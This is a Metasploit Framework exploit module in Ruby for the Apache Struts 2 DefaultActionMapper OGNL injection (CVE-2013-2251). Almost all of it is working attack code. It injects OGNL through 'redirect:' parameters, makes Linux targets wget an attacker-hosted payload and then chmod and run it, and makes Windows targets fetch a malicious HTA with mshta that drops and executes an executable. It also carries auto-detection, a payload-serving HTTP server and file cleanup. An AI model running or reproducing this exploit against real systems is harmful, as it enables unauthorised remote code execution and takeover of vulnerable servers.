Apache Struts 2 – DefaultActionMapper Prefixes OGNL Code Execution (Metasploit)
## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Remote::HttpServer include Msf::Exploit::EXE include Msf::Exploit::FileDropper def initialize(info = {}) super(update_info(info, 'Name' => 'Apache Struts 2 DefaultActionMapper Prefixes OGNL Code Execution', 'Description' => %q{ The Struts 2 DefaultActionMapper supports a method for short-circuit navigation state changes by prefixing parameters with "action:" or "redirect:", followed by a desired navigational target expression. This mechanism was intended to help with attaching navigational information to buttons within forms. In Struts 2 before 2.3.15.1 the information following "action:", "redirect:" or "redirectAction:" is not properly sanitized. Since said information will be evaluated as OGNL expression against the value stack, this introduces the possibility to inject server side code. This module has been tested successfully on Struts 2.3.15 over Tomcat 7, with Windows 2003 SP2 and Ubuntu 10.04 operating systems. }, 'License' => MSF_LICENSE, 'Author' => [ 'Takeshi Terada', # Vulnerability discovery 'sinn3r', # Metasploit module 'juan vazquez' # Metasploit modules ], 'References' => [ [ 'CVE', '2013-2251' ], [ 'OSVDB', '95405' ], [ 'BID', '61189' ], [ 'URL', 'http://struts.apache.org/release/2.3.x/docs/s2-016.html' ] ], 'Platform' => [ 'win', 'linux'], 'Targets' => [ ['Automatic', {}], ['Windows', { 'Arch' => ARCH_X86, 'Platform' => 'win' } ], ['Linux', { 'Arch' => ARCH_X86, 'Platform' => 'linux' } ] ], 'DefaultOptions' => { 'WfsDelay' => 10 }, 'Stance' => Msf::Exploit::Stance::Aggressive, 'DisclosureDate' => 'Jul 2 2013', 'DefaultTarget' => 0)) register_options( [ Opt::RPORT(8080), OptString.new('TARGETURI', [true, 'Action URI', '/struts2-blank/example/HelloWorld.action']), OptInt.new('HTTP_DELAY', [true, 'Time that the HTTP Server will wait for the payload request', 60]), # It isn't OptPath becuase it's a *remote* path OptString.new("WritableDir", [ true, "A directory where we can write files (only on Linux targets)", "/tmp" ]) ], self.class) end def on_new_session(session) if session.type == "meterpreter" session.core.use("stdapi") unless session.ext.aliases.include?("stdapi") end @dropped_files.delete_if do |file| false unless file =~ /\.exe/ win_file = file.gsub("/", "\\\\") if session.type == "meterpreter" begin wintemp = session.fs.file.expand_path("%TEMP%") win_file = "#{wintemp}\\#{win_file}" session.shell_command_token(%Q|attrib.exe -r "#{win_file}"|) session.fs.file.rm(win_file) print_good("Deleted #{file}") true rescue ::Rex::Post::Meterpreter::RequestError print_error("Failed to delete #{win_file}") false end end end super end def start_http_service #do not use SSL if datastore['SSL'] ssl_restore = true datastore['SSL'] = false end if (datastore['SRVHOST'] == "0.0.0.0" or datastore['SRVHOST'] == "::") srv_host = Rex::Socket.source_address(rhost) else srv_host = datastore['SRVHOST'] end service_url = srv_host + ':' + datastore['SRVPORT'].to_s print_status("#{rhost}:#{rport} - Starting up our web service on #{service_url} ...") start_service({ 'Uri' => { 'Proc' => Proc.new { |cli, req| on_request_uri(cli, req) }, 'Path' => '/' } }) datastore['SSL'] = true if ssl_restore return service_url end def check uri = normalize_uri(target_uri.path) res = send_request_cgi({ 'uri' => uri, 'method' => 'GET' }) if res.nil? or res.code != 200 print_error("#{rhost}:#{rport} - Check needs a valid action, returning 200, as TARGETURI") return Exploit::CheckCode::Unknown end proof = rand_text_alpha(6 + rand(4)) res = send_request_cgi({ 'uri' => "#{uri}?redirect:%25{new%20java.lang.String('#{proof}')}", 'method' => 'GET' }) if res and res.code == 302 and res.headers['Location'] =~ /#{proof}/ return Exploit::CheckCode::Vulnerable end return Exploit::CheckCode::Unknown end def auto_target uri = normalize_uri(target_uri.path) res = send_request_cgi({ 'uri' => uri, 'method' => 'GET' }) if res.nil? or res.code != 200 fail_with(Exploit::Failure::NoTarget, "#{rhost}:#{rport} - In order to autodetect, a valid action, returning 200, must be provided as TARGETURI, returning 200") end proof = rand_text_alpha(6 + rand(4)) res = send_request_cgi({ 'uri' => "#{uri}?redirect:%25{new%20java.io.File('.').getCanonicalPath().concat('#{proof}')}", 'method' => 'GET' }) if res and res.code == 302 and res.headers['Location'] =~ /#{proof}/ if res.headers['Location'] =~ /:\\/ return targets[1] # Windows else return targets[2] # Linux end end fail_with(Exploit::Failure::NoTarget, "#{rhost}:#{rport} - Target auto-detection didn't work") end def exploit_linux downfile = rand_text_alpha(8+rand(8)) @pl = @exe @pl_sent = false # # start HTTP service if necessary # service_url = start_http_service # # download payload # fname = datastore['WritableDir'] fname = "#{fname}/" unless fname =~ %r'/$' fname << downfile uri = normalize_uri(target_uri.path) uri << "?redirect:%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{'wget','#{service_url}','-O',new%20java.lang.String('#{fname.gsub(/\//,"$")}').replace('$','\\u002f')})).start()}" print_status("#{rhost}:#{rport} - Downloading payload to #{fname}...") res = send_request_cgi({ 'method' => 'GET', 'uri' => uri }) if res.nil? or res.code != 302 fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - OGNL injection failed") end # # wait for payload download # wait_payload register_file_for_cleanup(fname) # # chmod # uri = normalize_uri(target_uri.path) uri << "?redirect:%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{'chmod','777',new%20java.lang.String('#{fname.gsub(/\//,"$")}').replace('$','\\u002f')})).start()}" print_status("#{rhost}:#{rport} - Make payload executable...") res = send_request_cgi({ 'method' => 'GET', 'uri' => uri }) if res.nil? or res.code != 302 fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - OGNL injection failed") end # # execute # uri = normalize_uri(target_uri.path) uri << "?redirect:%25{(new%20java.lang.ProcessBuilder(new%20java.lang.String('#{fname.gsub(/\//,"$")}').replace('$','\\u002f'))).start()}" print_status("#{rhost}:#{rport} - Execute payload...") res = send_request_cgi({ 'method' => 'GET', 'uri' => uri }) if res.nil? or res.code != 302 fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - OGNL injection failed") end end def exploit_windows @var_exename = rand_text_alpha(4 + rand(4)) + '.exe' @pl = build_hta @pl_sent = false # # start HTTP service if necessary # service_url = start_http_service # # execute hta # uri = normalize_uri(target_uri.path) uri << "?redirect:%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{'mshta',new%20java.lang.String('http:nn#{service_url}').replace('n','\\u002f')})).start()}" print_status("#{rhost}:#{rport} - Execute payload through malicious HTA...") res = send_request_cgi({ 'method' => 'GET', 'uri' => uri }) if res.nil? or res.code != 302 fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - OGNL injection failed") end # # wait for payload download # wait_payload register_file_for_cleanup(@var_exename) end def exploit if target.name =~ /Automatic/ print_status("#{rhost}:#{rport} - Target autodetection...") my_target = auto_target print_good("#{rhost}:#{rport} - #{my_target.name} target found!") else my_target = target end p = exploit_regenerate_payload(my_target.platform, my_target.arch) @exe = generate_payload_exe({:code => p.encoded, :platform => my_target.platform, :arch => my_target.arch}) if my_target.name =~ /Linux/ if datastore['PAYLOAD'] =~ /windows/ fail_with(Exploit::Failure::BadConfig, "#{rhost}:#{rport} - The target is Linux, but you've selected a Windows payload!") end exploit_linux elsif my_target.name =~ /Windows/ if datastore['PAYLOAD'] =~ /linux/ fail_with(Exploit::Failure::BadConfig, "#{rhost}:#{rport} - The target is Windows, but you've selected a Linux payload!") end exploit_windows end end # Handle incoming requests from the server def on_request_uri(cli, request) vprint_status("#{rhost}:#{rport} - URI requested: #{request.inspect}") if (not @pl) print_error("#{rhost}:#{rport} - A request came in, but the payload wasn't ready yet!") return end print_status("#{rhost}:#{rport} - Sending the payload to the server...") @pl_sent = true send_response(cli, @pl) end # wait for the data to be sent def wait_payload print_status("#{rhost}:#{rport} - Waiting for the victim to request the payload...") waited = 0 while (not @pl_sent) select(nil, nil, nil, 1) waited += 1 if (waited > datastore['HTTP_DELAY']) fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Target didn't request request the ELF payload -- Maybe it cant connect back to us?") end end end def build_hta var_shellobj = rand_text_alpha(rand(5)+5); var_fsobj = rand_text_alpha(rand(5)+5); var_fsobj_file = rand_text_alpha(rand(5)+5); var_vbsname = rand_text_alpha(rand(5)+5); var_writedir = rand_text_alpha(rand(5)+5); var_origLoc = rand_text_alpha(rand(5)+5); var_byteArray = rand_text_alpha(rand(5)+5); var_writestream = rand_text_alpha(rand(5)+5); var_strmConv = rand_text_alpha(rand(5)+5); # Doing in this way to bypass the ADODB.Stream restrictions on JS, # even when executing it as an "HTA" application # The encoding code has been stolen from ie_unsafe_scripting.rb print_status("#{rhost}:#{rport} - Encoding payload into vbs/javascript/hta..."); # Build the content that will end up in the .vbs file vbs_content = Rex::Text.to_hex(%Q| Dim #{var_origLoc}, s, #{var_byteArray} #{var_origLoc} = SetLocale(1033) |) # Drop the exe payload into an ansi string (ansi ensured via SetLocale above) # for conversion with ADODB.Stream vbs_ary = [] # The output of this loop needs to be as small as possible since it # gets repeated for every byte of the executable, ballooning it by a # factor of about 80k (the current size of the exe template). In its # current form, it's down to about 4MB on the wire @exe.each_byte do |b| vbs_ary << Rex::Text.to_hex("s=s&Chr(#{("%d" % b)})\n") end vbs_content << vbs_ary.join("") # Continue with the rest of the vbs file; # Use ADODB.Stream to convert from an ansi string to it's byteArray equivalent # Then use ADODB.Stream again to write the binary to file. #print_status("Finishing vbs..."); vbs_content << Rex::Text.to_hex(%Q| Dim #{var_strmConv}, #{var_writedir}, #{var_writestream} #{var_writedir} = WScript.CreateObject("WScript.Shell").ExpandEnvironmentStrings("%TEMP%") & "\\#{@var_exename}" Set #{var_strmConv} = CreateObject("ADODB.Stream") #{var_strmConv}.Type = 2 #{var_strmConv}.Charset = "x-ansi" #{var_strmConv}.Open #{var_strmConv}.WriteText s, 0 #{var_strmConv}.Position = 0 #{var_strmConv}.Type = 1 #{var_strmConv}.SaveToFile #{var_writedir}, 2 SetLocale(#{var_origLoc})|) hta = <<-EOS <script> var #{var_shellobj} = new ActiveXObject("WScript.Shell"); var #{var_fsobj} = new ActiveXObject("Scripting.FileSystemObject"); var #{var_writedir} = #{var_shellobj}.ExpandEnvironmentStrings("%TEMP%"); var #{var_fsobj_file} = #{var_fsobj}.OpenTextFile(#{var_writedir} + "\\\\" + "#{var_vbsname}.vbs",2,true); #{var_fsobj_file}.Write(unescape("#{vbs_content}")); #{var_fsobj_file}.Close(); #{var_shellobj}.run("wscript.exe " + #{var_writedir} + "\\\\" + "#{var_vbsname}.vbs", 1, true); #{var_shellobj}.run(#{var_writedir} + "\\\\" + "#{@var_exename}", 0, false); #{var_fsobj}.DeleteFile(#{var_writedir} + "\\\\" + "#{var_vbsname}.vbs"); window.close(); </script> EOS return hta end end |